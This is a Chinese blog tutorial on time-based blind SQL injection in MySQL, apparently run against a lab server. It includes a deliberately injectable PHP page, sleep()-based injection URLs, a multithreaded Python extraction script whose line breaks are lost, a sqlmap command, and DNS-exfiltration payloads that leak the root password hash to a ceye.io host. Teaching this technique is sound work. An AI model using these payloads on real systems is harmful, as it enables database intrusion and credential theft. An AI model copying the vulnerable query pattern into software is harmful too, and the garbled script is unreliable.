时间延迟盲注详解

2023-10-11 11:59
文章标签 详解 盲注 时间延迟

本文主要是介绍时间延迟盲注详解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x00 延迟注入定义

延迟注入,是一种盲注的手法提交对执行时间铭感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注.SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出,只能手工检测,利用脚本程序跑出结果。

0x01 延迟注入的函数

sleep()                             //延迟函数
if(condition,true,false)               //条件语句      
ascii()                              //转换成ascii
substring("string",strart,length)      //mid()也一样,取出字符串里的第几位开始,长度多少的字符

If表达式:IF(expr1,expr2,expr3)

如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3

Mid函数:MID(column_name,start[,length])

column_name

必需。要提取字符的字段。

start

必需。规定开始位置(起始值是 1)。

length

可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

延时注入的原理就是,所要爆的信息的ascii码正确时,产生延时,否则不延时

0x02  延迟注入实列

1.含有时间延迟注入代码

yanchi.php:

<?phpheader("Content-type:text/html;charset=utf8");$link = mysql_connect("localhost", "root","root");mysql_select_db("mysql", $link);mysql_set_charset("utf8");$sql = "SELECT user FROM user where user='{$_GET['username']}'";echo $sql;$query = mysql_query($sql);echo "this is a time blode ";?>
2手工检查延迟注入
http://10.0.0.21/yanci.php?username=root' and sleep(5)%23

或者

http://10.0.0.21/yanci.php?username=root' and sleep(5) and 'xRsl'='xRsl#

或者

http://10.0.0.21/yanci.php?username=root' and If(ascii(substr(database(),1,1))=114,1,sleep(5))#

如果有注入,则延迟时间很长:

3.通过python脚本来跑(这里跑出用户名)
#!/usr/bin/env python# -*- coding: utf-8 -*-import urllib2import timeimport socketimport threadingimport requestsclass my_threading(threading.Thread):def __init__(self, str,x):threading.Thread.__init__(self)self.str = strself.x = xdef run(self):global resx=self.xj = self.strurl = "http://10.0.0.21/yanci.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23"html = request(url)verify = 'timeout'if verify not in html:res[str(j)] = 0#print 1else:res[str(j)] = 1def request(URL):user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }req = urllib2.Request(URL, None, user_agent) try:request = urllib2.urlopen(req,timeout=2)except Exception ,e:time.sleep(2)return 'timeout'return request.read()   def curl(url):try:start = time.clock()requests.get(url)end = time.clock()return int(end)except requests.RequestException as e:print u"errory!"exit()def getLength():i = 0while True:print "[+] Checking: %s \r" %iurl = "http://10.0.0.21/yanci.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23"html = request(url)verify = 'timeout'if verify in html:print "[+] leng: %s" %ireturn ii = i + 1def bin2dec(string_num):return int(string_num, 2)def getData(dataLength):global resdata = ""for x in range(dataLength):x = x + 1#print xthreads = []for j in range(8):result = ""j = j + 1sb = my_threading(j,x)sb.setDaemon(True)threads.append(sb)#print jfor t in threads:t.start()for t in threads:t.join()#print restmp = ""for i in range(8):tmp = tmp + str(res[str(i+1)])#print chr(bin2dec(tmp))res = {}result = chr(bin2dec(tmp))print resultdata = data + resultsb = Noneprint "[+] ok!"print "[+] result:" + dataif __name__ == '__main__':stop = Falseres = {}length = getLength()getData(length)

2.jpg

4. sqlmap进行延迟注入

sqlmap.py -r q1.txt --dbms=mysql --time-sec=5 
5.通过DNS LOG 日志记录来注入时间盲注

(1)获取用户名root的密码

http://10.0.0.21/yanci.php?username=root' and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT concat(user,'_',mid(password,2,41)) from user where user='root' limit 1),'.89mxv7.ceye.io\\foobar'))),1,1)#

(2)dns log记录为: 这里利用用http://ceye.io的DNS记录来注入

(3)获取用户名root密码的十六进值

http://10.0.0.21/yanci.php?username=root' and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.89mxv7.ceye.io\\foobar'))),1,1)#

dns记录为:

 

(4)通过小葵工具查询得知:

这篇关于时间延迟盲注详解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/187891

相关文章

Redis 的 SUBSCRIBE命令详解

《Redis的SUBSCRIBE命令详解》Redis的SUBSCRIBE命令用于订阅一个或多个频道,以便接收发送到这些频道的消息,本文给大家介绍Redis的SUBSCRIBE命令,感兴趣的朋友跟随... 目录基本语法工作原理示例消息格式相关命令python 示例Redis 的 SUBSCRIBE 命令用于订

使用Python批量将.ncm格式的音频文件转换为.mp3格式的实战详解

《使用Python批量将.ncm格式的音频文件转换为.mp3格式的实战详解》本文详细介绍了如何使用Python通过ncmdump工具批量将.ncm音频转换为.mp3的步骤,包括安装、配置ffmpeg环... 目录1. 前言2. 安装 ncmdump3. 实现 .ncm 转 .mp34. 执行过程5. 执行结

Python中 try / except / else / finally 异常处理方法详解

《Python中try/except/else/finally异常处理方法详解》:本文主要介绍Python中try/except/else/finally异常处理方法的相关资料,涵... 目录1. 基本结构2. 各部分的作用tryexceptelsefinally3. 执行流程总结4. 常见用法(1)多个e

SpringBoot日志级别与日志分组详解

《SpringBoot日志级别与日志分组详解》文章介绍了日志级别(ALL至OFF)及其作用,说明SpringBoot默认日志级别为INFO,可通过application.properties调整全局或... 目录日志级别1、级别内容2、调整日志级别调整默认日志级别调整指定类的日志级别项目开发过程中,利用日志

Java中的抽象类与abstract 关键字使用详解

《Java中的抽象类与abstract关键字使用详解》:本文主要介绍Java中的抽象类与abstract关键字使用详解,本文通过实例代码给大家介绍的非常详细,感兴趣的朋友跟随小编一起看看吧... 目录一、抽象类的概念二、使用 abstract2.1 修饰类 => 抽象类2.2 修饰方法 => 抽象方法,没有

MySQL8 密码强度评估与配置详解

《MySQL8密码强度评估与配置详解》MySQL8默认启用密码强度插件,实施MEDIUM策略(长度8、含数字/字母/特殊字符),支持动态调整与配置文件设置,推荐使用STRONG策略并定期更新密码以提... 目录一、mysql 8 密码强度评估机制1.核心插件:validate_password2.密码策略级

从入门到精通详解Python虚拟环境完全指南

《从入门到精通详解Python虚拟环境完全指南》Python虚拟环境是一个独立的Python运行环境,它允许你为不同的项目创建隔离的Python环境,下面小编就来和大家详细介绍一下吧... 目录什么是python虚拟环境一、使用venv创建和管理虚拟环境1.1 创建虚拟环境1.2 激活虚拟环境1.3 验证虚

详解python pycharm与cmd中制表符不一样

《详解pythonpycharm与cmd中制表符不一样》本文主要介绍了pythonpycharm与cmd中制表符不一样,这个问题通常是因为PyCharm和命令行(CMD)使用的制表符(tab)的宽... 这个问题通常是因为PyCharm和命令行(CMD)使用的制表符(tab)的宽度不同导致的。在PyChar

sky-take-out项目中Redis的使用示例详解

《sky-take-out项目中Redis的使用示例详解》SpringCache是Spring的缓存抽象层,通过注解简化缓存管理,支持Redis等提供者,适用于方法结果缓存、更新和删除操作,但无法实现... 目录Spring Cache主要特性核心注解1.@Cacheable2.@CachePut3.@Ca

SpringBoot请求参数传递与接收示例详解

《SpringBoot请求参数传递与接收示例详解》本文给大家介绍SpringBoot请求参数传递与接收示例详解,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋... 目录I. 基础参数传递i.查询参数(Query Parameters)ii.路径参数(Path Va